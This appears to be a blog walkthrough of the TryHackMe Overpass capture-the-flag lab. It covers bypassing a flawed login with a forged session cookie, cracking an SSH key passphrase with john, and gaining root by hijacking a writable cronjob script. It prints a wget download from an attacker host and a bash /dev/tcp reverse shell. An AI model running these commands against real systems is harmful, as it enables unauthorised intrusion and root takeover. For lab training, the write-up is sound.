Quick and Easy Overpass CTF TryHackMe Walkthrough

Quick and Easy Overpass CTF TryHackMe Walkthrough

Aug 27, 2023ยท

4 min read

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This walkthrough covers the Overpass CTF found on TryHackMe. This room aims to exploit a vulnerable web application through a flawed authentication measure, obtain an initial foothold using exposed SSH keys, and then escalate privileges to root by injecting a reverse shell into a cronjob with poorly managed permissions.

Step 1: Nmap Scan

As always, we'll begin our penetration test by enumerating the network to identify running services.

sudo nmap -sV -p- -T4 -Pn --disable-arp-ping --max-retries=0

Let's examine and see what we can obtain from the web server using ffuf.

Step 2: Web Enumeration

sudo ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ -u -t 10

Step 3: Initial Foothold

The /admin directory appears promising. Let's navigate to it and explore what we can do with it.

Upon examining the source code, we discover a JavaScript file named login.js.

async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    return response; // We don't always want JSON back
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
    } else {
        window.location = "/admin"

This script contains a vulnerability listed in the OWASP Top 10, known as Broken Authentication.

    } else { 
        window.location = "/admin" 

Using Developer Tools (F12) and navigating to Storage (in Firefox), we can add a new item and create a SessionToken with a value of "admin" inside it.

This enables us to circumvent the login necessity. After gaining access, we came across an SSH key belonging to a user named James.

We can use ssh2john and john-the-ripper to crack the passphrase for this.

Save the SSH key in a file named id_rsa, and then execute the following commands:

python3 /usr/share/john/ssh2john.py id_rsa > id_rsa.hash

Then run john:

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Set the permissions for the id_rsa file.

chmod 600 id_rsa

Log in to the target.

ssh -i id_rsa james@<TARGET_IP>

Grab the user.txt flag.

Step 4: Privesc and Root

Begin by starting an HTTP server to transfer linPEAS, which will help enumerate the system for potential privilege escalation vectors.

python3 -m http.server 1337

Download linPEAS to the victim.

wget http://<ATTACKER_IP>/linpeas_linux_amd64

Make it executable.

chmod +x linpeas_linux_amd64

Run it.


Upon analyzing the results, we discovered a vulnerability in the cron jobs.

Every minute, precisely on the minute, a request is sent to fetch buildscript.sh as root. However, this file has write access for regular users, which allows us to modify it with a reverse shell.

First, we want to modify /etc/hosts and change overpass.thm to our IP address.

The method for escalating privileges here involves altering the IP address of overpass.thm to our own and creating a /downloads/src directory on our system with a modified buildscript.sh file that incorporates a reverse shell for the scheduled task to retrieve.

Create the reverse shell:

bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/1338 0>&1"

Then, run an HTTP server from the root directory using the command:

python3 -m http.server 80

After a minute, it will pull the buildscript.sh file we created and connect back to our netcat listener on port 1338.

And that's it! Once we gain access, we can obtain the root.txt flag.


In this walkthrough, we will exploit a vulnerable web application on TryHackMe's Overpass CTF by bypassing a flawed authentication measure, obtaining an initial foothold using exposed SSH keys, and escalating privileges to root through a reverse shell injected into a cronjob with poorly managed permissions. The steps include an Nmap scan, using ffuf for network enumeration, gaining initial access, and escalating privileges to obtain the root flag.

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